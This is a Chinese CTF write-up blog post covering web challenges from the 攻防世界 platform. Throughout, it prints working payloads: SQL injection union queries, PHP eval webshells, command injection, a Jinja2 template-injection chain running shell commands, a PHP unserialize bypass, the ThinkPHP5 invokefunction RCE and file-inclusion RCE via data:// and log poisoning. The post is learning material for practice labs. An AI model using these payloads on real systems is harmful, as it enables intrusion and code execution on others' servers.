【攻防世界】学习记录-web(系数2 part 1)


0100 NewsCenter

题目
在这里插入图片描述

解答:在搜索框输入单引号,页面显示不正常,可知是单引号闭合。
经过测试是3列。2和3都会回显
' union select 1,2,3#
在这里插入图片描述

之后就是常规的注入了,没有什么过滤。

#news
' union select 1,2,database()#

#news,secret_table
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

#id,fl4g
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_table'#

#QCTF{sq1_inJec7ion_ezzz} 
' union select 1,2,fl4g from secret_table#

在这里插入图片描述


0236 upload1

解答:文件上传,有前端判断,删掉就好了。
在这里插入图片描述

只进行了content-type的判断,上传个图片,burp抓包修改内容为一句话木马,修改文件名的后缀为php,页面回显上传路径,然后蚁剑连接。
在这里插入图片描述


0481 xff_referer

题目:X老师告诉小宁其实xff和referer是可以伪造的。
解答:根据提示做:
要求ip地址必须为123.123.123.123,添加X-Forwarded-For:123.123.123.123
要求必须来自https://www.google.com,添加Referer:https://www.google.com
在这里插入图片描述


0483 webshell

题目:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
解答:题目直接给了一句话木马,蚁剑连接就好了。
在这里插入图片描述


0484 command_execution

题目:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
解答:输入命令,可以用连接符分号;。分号前面的执行完,会接着执行后面的。
flag放的位置大概有网站根目录,系统根目录、home或者tmp目录下。
在这里插入图片描述


0627 web2

题目:解密
在这里插入图片描述

解答:分析代码,和加密步骤反着来就好。

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
    $_o=base64_decode(strrev(str_rot13($str)));

    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return strrev($_);
} 
echo decode($miwen);
?>
#flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

0709 Web_python_template_injection

解答:题目告诉了是python模板注入
先测试一下{{2*3}},确实存在模板注入,使用的是jinja2作为模板引擎。
在这里插入图片描述

先找基类:{{''.__class__.__mro__[2]}}
在这里插入图片描述

查看object的子类:
{{''.__class__.__mro__[2].__subclasses__()}}
(根据返回的内容可以确定是python2的)
在这里插入图片描述

''.__class__.__base__.__subclasses__()[??].__init__,寻找重载过的。

不提示wrapper就可以,wrapper表示没有被重载如:<slot wrapper '__init__' of 'object' objects>

这表示不是function,不具有__globals__属性。

比如找到:''.__class__.__base__.__subclasses__()[139].__init__

在这里插入图片描述

那么就可以利用执行eval了:
{{''.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}

在这里插入图片描述

cat 查看,,获取flag:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat fl4g').read()")}}
在这里插入图片描述

这里40是file。如果知道flag名字的话,也可以直接读了。
在这里插入图片描述

比如如果已知flag名字是fl4g。
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
在这里插入图片描述


0710 Web_php_unserialize

题目
在这里插入图片描述

解答:题目需要注意的点:

  • 过滤条件是o:数字...:,有 i 大小写绕过不行,那就用+中断一下。
  • __wakeup()会重置file指向为index.php。所以要绕过它,属性数大于实际数就可以,把1改成2。
  • 源代码中,var还进行了base64的解码,所以还需要进行加密。

写payload:

<?php 
class Demo { 
    private $file = 'index.php';
}
$a=new Demo('fl4g.php');
$c=serialize($a);
$c=str_replace('O:4','O:+4',$c);
$c=str_replace(':1:',':2:',$c);
$c=base64_encode($c);
var_dump($c);
?>

在这里插入图片描述


0713 php_rce

题目:thinkphp v5
解答

ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。

get传参,写入一个jz.php文件

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=jz.php&vars[1][]=%3C?php%20%20highlight_file(__FILE__);@eval($_POST[%27jz%27]);?%3E

在这里插入图片描述


0716 Web_php_include

题目
在这里插入图片描述

解答:文件包含题.
方法一:可以使用http协议。题目还有一个参数hello,传参会echo出来。可以组合利用:
?page=http://127.0.0.1/index.php/?hello=%3C?system(%27ls%27);?%3E

在这里插入图片描述

原理说明:include()是包含并执行,这里传递的url返回的结果就是echo的内容。下面可以看到<?system(ls);?>被echo了出来。
include包含执行的就是以下面整个页面的内容。所以也就执行了system(ls);
在这里插入图片描述

方法二:使用data协议:
?page=data://text/plain,<?php system(ls);?>
在这里插入图片描述

方法三:还可以用常用的日志包含来做,url地址后面或者User-Agent处写入一句话木马,然后包含/var/log/nginx/access.log。

方法四:还可以扫目录,扫出phpmyadmin后台登录页面的,root用户,密码为空。
在SQL语句输入的地方,写:select "<?php eval($_POST[7]);?>" into ourfile '/tmp/jz.php
然后连接?page=/tmp/jz.php就可以

方法很多就不一一展开了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值